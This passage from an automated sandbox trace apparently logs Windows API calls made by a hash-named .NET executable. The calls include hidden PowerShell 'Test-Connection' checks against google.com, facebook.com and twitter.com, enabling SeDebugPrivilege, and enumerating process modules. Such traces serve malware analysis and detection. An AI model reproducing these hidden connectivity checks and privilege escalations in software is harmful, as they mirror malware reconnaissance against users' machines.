hObj=0x60, nIndex=1, pvInfo=0x215d5a8, nLength=0xc, lpnLengthNeeded=0x3ee464 | out: pvInfo=0x215d5a8, lpnLengthNeeded=0x3ee464) returned 1 [0072.308] SetConsoleCtrlHandler (HandlerRoutine=0x4bb094e, Add=1) returned 1 [0072.308] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0072.309] GetModuleHandleW (lpModuleName=0x0) returned 0x1a0000 [0072.311] GetClassInfoW (in: hInstance=0x1a0000, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWndClass=0x215d60c | out: lpWndClass=0x215d60c) returned 0 [0072.313] CoTaskMemAlloc (cb=0x58) returned 0x8677c0 [0072.313] RegisterClassW (lpWndClass=0x3ee3b4) returned 0xc1bf [0072.313] CoTaskMemFree (pv=0x8677c0) [0072.314] CreateWindowExW (dwExStyle=0x0, lpClassName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", lpWindowName=".NET-BroadcastEventWindow.4.0.0.0.141b42a.0", dwStyle=0x80000000, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1a0000, lpParam=0x0) returned 0x6010a [0072.315] NtdllDefWindowProc_W () returned 0x1 [0072.315] NtdllDefWindowProc_W () returned 0x0 [0072.315] NtdllDefWindowProc_W () returned 0x0 [0072.315] NtdllDefWindowProc_W () returned 0x0 [0072.315] NtdllDefWindowProc_W () returned 0x0 [0072.319] GetStartupInfoW (in: lpStartupInfo=0x215da7c | out: lpStartupInfo=0x215da7c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0072.321] GetParent (hWnd=0x50148) returned 0x0 [0072.321] SetWindowLongW (hWnd=0x50148, nIndex=-8, dwNewLong=0) returned 0 [0072.325] GetSystemMetrics (nIndex=11) returned 32 [0072.325] GetSystemMetrics (nIndex=12) returned 32 [0072.325] GetDC (hWnd=0x0) returned 0x2010b5b [0072.325] GetDeviceCaps (hdc=0x2010b5b, index=12) returned 32 [0072.325] GetDeviceCaps (hdc=0x2010b5b, index=14) returned 1 [0072.326] ReleaseDC (hWnd=0x0, hDC=0x2010b5b) returned 1 [0072.327] CreateIconFromResourceEx (presbits=0x21604f4, dwResSize=0x10a8, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0xc00e9 [0072.328] GetSystemMetrics (nIndex=49) returned 16 [0072.328] GetSystemMetrics (nIndex=50) returned 16 [0072.328] CreateIconFromResourceEx (presbits=0x21615d8, dwResSize=0x468, fIcon=1, dwVer=0x30000, cxDesired=0, cyDesired=0, Flags=0x0) returned 0x802c3 [0072.329] SendMessageW (hWnd=0x50148, Msg=0x80, wParam=0x0, lParam=0x802c3) returned 0x0 [0072.329] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x80, wParam=0x0, lParam=0x802c3) returned 0x0 [0072.330] SendMessageW (hWnd=0x50148, Msg=0x80, wParam=0x1, lParam=0xc00e9) returned 0x0 [0072.330] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x80, wParam=0x1, lParam=0xc00e9) returned 0x0 [0072.354] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x802c3 [0072.356] GetSystemMenu (hWnd=0x50148, bRevert=0) returned 0x130073 [0072.371] GetWindowPlacement (in: hWnd=0x50148, lpwndpl=0x3eedbc | out: lpwndpl=0x3eedbc) returned 1 [0072.376] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0072.376] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0072.376] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0072.376] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf120, uEnable=0x1) returned 0 [0072.376] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0072.376] GetClientRect (in: hWnd=0x50148, lpRect=0x3eee00 | out: lpRect=0x3eee00) returned 1 [0072.376] GetClientRect (in: hWnd=0x50148, lpRect=0x3eed60 | out: lpRect=0x3eed60) returned 1 [0072.376] GetWindowRect (in: hWnd=0x50148, lpRect=0x3eed60 | out: lpRect=0x3eed60) returned 1 [0072.376] GetWindowLongW (hWnd=0x50148, nIndex=-16) returned 114229248 [0072.376] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0072.376] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0072.377] GetSystemMetrics (nIndex=42) returned 0 [0072.377] GetWindowTextW (in: hWnd=0x50148, lpString=0x3eed04, nMaxCount=6 | out: lpString="Form1") returned 5 [0072.377] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3eed04) returned 0x5 [0072.377] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0072.377] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0072.377] GetSystemMetrics (nIndex=42) returned 0 [0072.377] GetWindowTextW (in: hWnd=0x50148, lpString=0x3eed04, nMaxCount=6 | out: lpString="Form1") returned 5 [0072.377] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3eed04) returned 0x5 [0072.378] GetWindowLongW (hWnd=0x50148, nIndex=-16) returned 114229248 [0072.378] GetWindowLongW (hWnd=0x50148, nIndex=-20) returned 327936 [0072.378] SetWindowLongW (hWnd=0x50148, nIndex=-16, dwNewLong=47120384) returned 114229248 [0072.378] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x7c, wParam=0xfffffff0, lParam=0x3eed54) returned 0x0 [0072.378] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x7d, wParam=0xfffffff0, lParam=0x3eed54) returned 0x0 [0072.378] SetWindowLongW (hWnd=0x50148, nIndex=-20, dwNewLong=327680) returned 327936 [0072.378] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x7c, wParam=0xffffffec, lParam=0x3eed54) returned 0x0 [0072.378] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x7d, wParam=0xffffffec, lParam=0x3eed54) returned 0x0 [0072.379] SetWindowPos (hWnd=0x50148, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0072.379] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x46, wParam=0x0, lParam=0x3eed74) returned 0x0 [0072.379] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x83, wParam=0x1, lParam=0x3eed4c) returned 0x0 [0072.379] GetWindowPlacement (in: hWnd=0x50148, lpwndpl=0x3eeb24 | out: lpwndpl=0x3eeb24) returned 1 [0072.380] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x47, wParam=0x0, lParam=0x3eed74) returned 0x0 [0072.380] GetClientRect (in: hWnd=0x50148, lpRect=0x3eead4 | out: lpRect=0x3eead4) returned 1 [0072.380] GetWindowRect (in: hWnd=0x50148, lpRect=0x3eead4 | out: lpRect=0x3eead4) returned 1 [0072.381] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x83, wParam=0x1, lParam=0x3ee958) returned 0x0 [0072.381] RedrawWindow (hWnd=0x50148, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0072.381] GetSystemMenu (hWnd=0x50148, bRevert=0) returned 0x130073 [0072.381] GetWindowPlacement (in: hWnd=0x50148, lpwndpl=0x3eedac | out: lpwndpl=0x3eedac) returned 1 [0072.381] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf020, uEnable=0x0) returned 0 [0072.381] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf030, uEnable=0x0) returned 0 [0072.381] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf060, uEnable=0x0) returned 0 [0072.381] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf120, uEnable=0x1) returned 1 [0072.381] EnableMenuItem (hMenu=0x130073, uIDEnableItem=0xf000, uEnable=0x0) returned 0 [0072.381] ShowWindow (hWnd=0x50148, nCmdShow=5) [0072.382] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0072.382] GetWindowTextLengthW (hWnd=0x50148) returned 5 [0072.382] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x5 [0072.382] GetSystemMetrics (nIndex=42) returned 0 [0072.382] GetWindowTextW (in: hWnd=0x50148, lpString=0x3eea24, nMaxCount=6 | out: lpString="Form1") returned 5 [0072.382] CallWindowProcW (lpPrevWndFunc=0x770725dd, hWnd=0x50148, Msg=0xd, wParam=0x6, lParam=0x3eea24) returned 0x5 [0072.477] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x81b658 [0072.478] LocalAlloc (uFlags=0x0, uBytes=0x3e) returned 0x866760 [0072.487] ShellExecuteExW (in: pExecInfo=0x216222c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.google.com", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x216222c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.google.com", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x364)) returned 1 [0081.670] LocalFree (hMem=0x81b658) returned 0x0 [0081.670] LocalFree (hMem=0x866760) returned 0x0 [0081.886] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x87c820 [0081.886] LocalAlloc (uFlags=0x0, uBytes=0x42) returned 0x82e000 [0081.886] ShellExecuteExW (in: pExecInfo=0x216253c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.facebook.com", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x216253c*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.facebook.com", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x268)) returned 1 [0081.976] LocalFree (hMem=0x87c820) returned 0x0 [0081.976] LocalFree (hMem=0x82e000) returned 0x0 [0081.996] GetCurrentProcess () returned 0xffffffff [0081.996] GetCurrentProcess () returned 0xffffffff [0081.996] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x268, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3eea34, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3eea34*=0x2a4) returned 1 [0082.009] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3eea2c*=0x2a4, lpdwindex=0x3ee850 | out: lpdwindex=0x3ee850) returned 0x0 [0143.683] CloseHandle (hObject=0x2a4) returned 1 [0143.685] LocalAlloc (uFlags=0x0, uBytes=0x16) returned 0x8a0ca0 [0143.685] LocalAlloc (uFlags=0x0, uBytes=0x40) returned 0x7e9a90 [0143.685] ShellExecuteExW (in: pExecInfo=0x21626fc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.twitter.com", lpDirectory=0x0, nShow=0, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x21626fc*(cbSize=0x3c, fMask=0x540, hwnd=0x0, lpVerb=0x0, lpFile="powershell", lpParameters="Test-Connection www.twitter.com", lpDirectory=0x0, nShow=0, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x3f8)) returned 1 [0143.745] LocalFree (hMem=0x8a0ca0) returned 0x0 [0143.745] LocalFree (hMem=0x7e9a90) returned 0x0 [0143.745] GetCurrentProcess () returned 0xffffffff [0143.745] GetCurrentProcess () returned 0xffffffff [0143.745] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x3f8, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x3eea34, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x3eea34*=0x2a4) returned 1 [0143.745] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3eea2c*=0x2a4, lpdwindex=0x3ee850 | out: lpdwindex=0x3ee850) returned 0x0 [0163.453] CloseHandle (hObject=0x2a4) returned 1 [0163.458] AdjustWindowRectEx (in: lpRect=0x3eea6c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3eea6c) returned 1 [0163.468] CreateCompatibleDC (hdc=0x0) returned 0x3a010279 [0163.468] SelectObject (hdc=0x3a010279, h=0x260a0240) returned 0x18a002e [0163.469] GetTextMetricsW (in: hdc=0x3a010279, lptm=0x3ee91c | out: lptm=0x3ee91c) returned 1 [0163.469] GetTextExtentPoint32W (in: hdc=0x3a010279, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2162af0 | out: psizl=0x2162af0) returned 1 [0163.469] SelectObject (hdc=0x3a010279, h=0x18a002e) returned 0x260a0240 [0163.469] DeleteDC (hdc=0x3a010279) returned 1 [0163.470] AdjustWindowRectEx (in: lpRect=0x3ee8a8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee8a8) returned 1 [0163.470] AdjustWindowRectEx (in: lpRect=0x3ee6e0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee6e0) returned 1 [0163.470] GetSystemMetrics (nIndex=34) returned 132 [0163.470] GetSystemMetrics (nIndex=35) returned 38 [0163.470] AdjustWindowRectEx (in: lpRect=0x3eea58, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eea58) returned 1 [0163.470] GetSystemMetrics (nIndex=59) returned 1460 [0163.470] GetSystemMetrics (nIndex=60) returned 920 [0163.470] GetSystemMetrics (nIndex=34) returned 132 [0163.470] GetSystemMetrics (nIndex=35) returned 38 [0163.470] AdjustWindowRectEx (in: lpRect=0x3ee958, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee958) returned 1 [0163.473] AdjustWindowRectEx (in: lpRect=0x3eea6c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3eea6c) returned 1 [0163.479] CreateCompatibleDC (hdc=0x0) returned 0x3b010279 [0163.479] SelectObject (hdc=0x3b010279, h=0x260a0240) returned 0x18a002e [0163.479] GetTextMetricsW (in: hdc=0x3b010279, lptm=0x3ee91c | out: lptm=0x3ee91c) returned 1 [0163.479] GetTextExtentPoint32W (in: hdc=0x3b010279, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2162eec | out: psizl=0x2162eec) returned 1 [0163.479] SelectObject (hdc=0x3b010279, h=0x18a002e) returned 0x260a0240 [0163.479] DeleteDC (hdc=0x3b010279) returned 1 [0163.479] AdjustWindowRectEx (in: lpRect=0x3ee8a8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee8a8) returned 1 [0163.480] AdjustWindowRectEx (in: lpRect=0x3ee6e0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee6e0) returned 1 [0163.480] GetSystemMetrics (nIndex=34) returned 132 [0163.480] GetSystemMetrics (nIndex=35) returned 38 [0163.480] AdjustWindowRectEx (in: lpRect=0x3eea58, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eea58) returned 1 [0163.480] GetSystemMetrics (nIndex=59) returned 1460 [0163.480] GetSystemMetrics (nIndex=60) returned 920 [0163.480] GetSystemMetrics (nIndex=34) returned 132 [0163.480] GetSystemMetrics (nIndex=35) returned 38 [0163.480] AdjustWindowRectEx (in: lpRect=0x3ee958, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee958) returned 1 [0163.483] AdjustWindowRectEx (in: lpRect=0x3eea6c, dwStyle=0x56cf0000, bMenu=0, dwExStyle=0x50001 | out: lpRect=0x3eea6c) returned 1 [0163.495] AdjustWindowRectEx (in: lpRect=0x3eea58, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3eea58) returned 1 [0163.495] GetSystemMetrics (nIndex=59) returned 1460 [0163.495] GetSystemMetrics (nIndex=60) returned 920 [0163.495] GetSystemMetrics (nIndex=34) returned 132 [0163.495] GetSystemMetrics (nIndex=35) returned 38 [0163.495] AdjustWindowRectEx (in: lpRect=0x3ee958, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee958) returned 1 [0163.495] CreateCompatibleDC (hdc=0x0) returned 0x3c010279 [0163.495] SelectObject (hdc=0x3c010279, h=0x260a0240) returned 0x18a002e [0163.495] GetTextMetricsW (in: hdc=0x3c010279, lptm=0x3ee980 | out: lptm=0x3ee980) returned 1 [0163.495] GetTextExtentPoint32W (in: hdc=0x3c010279, lpString="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", c=52, psizl=0x2163370 | out: psizl=0x2163370) returned 1 [0163.495] SelectObject (hdc=0x3c010279, h=0x18a002e) returned 0x260a0240 [0163.495] DeleteDC (hdc=0x3c010279) returned 1 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee6e8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee6e8) returned 1 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee90c, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee90c) returned 1 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee660, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee660) returned 1 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee744, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee744) returned 1 [0163.496] GetSystemMetrics (nIndex=59) returned 1460 [0163.496] GetSystemMetrics (nIndex=60) returned 920 [0163.496] GetSystemMetrics (nIndex=34) returned 132 [0163.496] GetSystemMetrics (nIndex=35) returned 38 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee5f0, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee5f0) returned 1 [0163.496] AdjustWindowRectEx (in: lpRect=0x3ee6b8, dwStyle=0x2cf0000, bMenu=0, dwExStyle=0x50000 | out: lpRect=0x3ee6b8) returned 1 [0163.508] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2a4 [0163.509] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x3a8 [0163.513] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20019, phkResult=0x3edbe4 | out: phkResult=0x3edbe4*=0x3ac) returned 0x0 [0163.514] RegQueryValueExW (in: hKey=0x3ac, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3edc04, lpData=0x0, lpcbData=0x3edc00*=0x0 | out: lpType=0x3edc04*=0x1, lpData=0x0, lpcbData=0x3edc00*=0xe) returned 0x0 [0163.514] RegQueryValueExW (in: hKey=0x3ac, lpValueName="InstallationType", lpReserved=0x0, lpType=0x3edc04, lpData=0x2163ca8, lpcbData=0x3edc00*=0xe | out: lpType=0x3edc04*=0x1, lpData="Client", lpcbData=0x3edc00*=0xe) returned 0x0 [0163.515] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.529] GetCurrentProcess () returned 0xffffffff [0163.529] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ed838 | out: TokenHandle=0x3ed838*=0x3ac) returned 1 [0163.542] CloseHandle (hObject=0x3ac) returned 1 [0163.542] GetCurrentProcess () returned 0xffffffff [0163.542] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ed850 | out: TokenHandle=0x3ed850*=0x3ac) returned 1 [0163.543] CloseHandle (hObject=0x3ac) returned 1 [0163.552] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9ac | out: phkResult=0x3ee9ac*=0x3ac) returned 0x0 [0163.553] RegQueryValueExW (in: hKey=0x3ac, lpValueName="HWRPortReuseOnSocketBind", lpReserved=0x0, lpType=0x3ee9c8, lpData=0x0, lpcbData=0x3ee9c4*=0x0 | out: lpType=0x3ee9c8*=0x0, lpData=0x0, lpcbData=0x3ee9c4*=0x0) returned 0x2 [0163.553] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.555] GetCurrentProcessId () returned 0xed0 [0163.560] LookupPrivilegeValueW (in: lpSystemName=0x0, lpName="SeDebugPrivilege", lpLuid=0x3ee24c | out: lpLuid=0x3ee24c*(LowPart=0x14, HighPart=0)) returned 1 [0163.561] GetCurrentProcess () returned 0xffffffff [0163.561] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x20, TokenHandle=0x3ee248 | out: TokenHandle=0x3ee248*=0x3ac) returned 1 [0163.562] AdjustTokenPrivileges (in: TokenHandle=0x3ac, DisableAllPrivileges=0, NewState=0x2168194*(PrivilegesCount=0x1, Privileges=((Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0163.562] CloseHandle (hObject=0x3ac) returned 1 [0163.563] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.572] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x21681d8, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x21681d8, lpcbNeeded=0x3ee9b8) returned 1 [0163.574] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x2168318, cb=0xc | out: lpmodinfo=0x2168318*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.575] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.575] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.576] CoTaskMemFree (pv=0x8bcda0) [0163.576] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.576] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.577] CoTaskMemFree (pv=0x8bcda0) [0163.577] CloseHandle (hObject=0x3ac) returned 1 [0163.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.578] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseHttpPipeliningAndBufferPooling", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.579] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.579] RegQueryValueExW (in: hKey=0x3ac, lpValueName="UseHttpPipeliningAndBufferPooling", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.579] RegCloseKey (hKey=0x3ac) returned 0x0 [0163.580] GetCurrentProcessId () returned 0xed0 [0163.581] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xed0) returned 0x3ac [0163.581] EnumProcessModules (in: hProcess=0x3ac, lphModule=0x216aeac, cb=0x100, lpcbNeeded=0x3ee9b8 | out: lphModule=0x216aeac, lpcbNeeded=0x3ee9b8) returned 1 [0163.582] GetModuleInformation (in: hProcess=0x3ac, hModule=0x1a0000, lpmodinfo=0x216afec, cb=0xc | out: lpmodinfo=0x216afec*(lpBaseOfDll=0x1a0000, SizeOfImage=0x66000, EntryPoint=0x1a611e)) returned 1 [0163.582] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.582] GetModuleBaseNameW (in: hProcess=0x3ac, hModule=0x1a0000, lpBaseName=0x8bcda0, nSize=0x800 | out: lpBaseName="ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe") returned 0x44 [0163.582] CoTaskMemFree (pv=0x8bcda0) [0163.582] CoTaskMemAlloc (cb=0x804) returned 0x8bcda0 [0163.583] GetModuleFileNameExW (in: hProcess=0x3ac, hModule=0x1a0000, lpFilename=0x8bcda0, nSize=0x800 | out: lpFilename="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe")) returned 0x5f [0163.583] CoTaskMemFree (pv=0x8bcda0) [0163.583] CloseHandle (hObject=0x3ac) returned 1 [0163.583] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", nBufferLength=0x105, lpBuffer=0x3ee4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\ecb4fe719a7fc1365d70ec9db8b3c74cb4bf8968324c25d3817fcc5628fae6fa.exe", lpFilePart=0x0) returned 0x5f [0163.583] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\System.Net.ServicePointManager.UseSafeSynchronousClose", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x0) returned 0x2 [0163.584] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319", ulOptions=0x0, samDesired=0x20019, phkResult=0x3ee9b0 | out: phkResult=0x3ee9b0*=0x3ac) returned 0x0 [0163.584] RegQueryValueExW (in: hKey=0x3ac, lpValueName="UseSafeSynchronousClose", lpReserved=0x0, lpType=0x3ee9cc, lpData=0x0, lpcbData=0x3ee9c8*=0x0 | out: lpType=0x3ee9cc*=0x0, lpData=0x0, lpcbData=0x3ee9c8*=0x0) returned 0x2 [0163.584] RegCloseKey 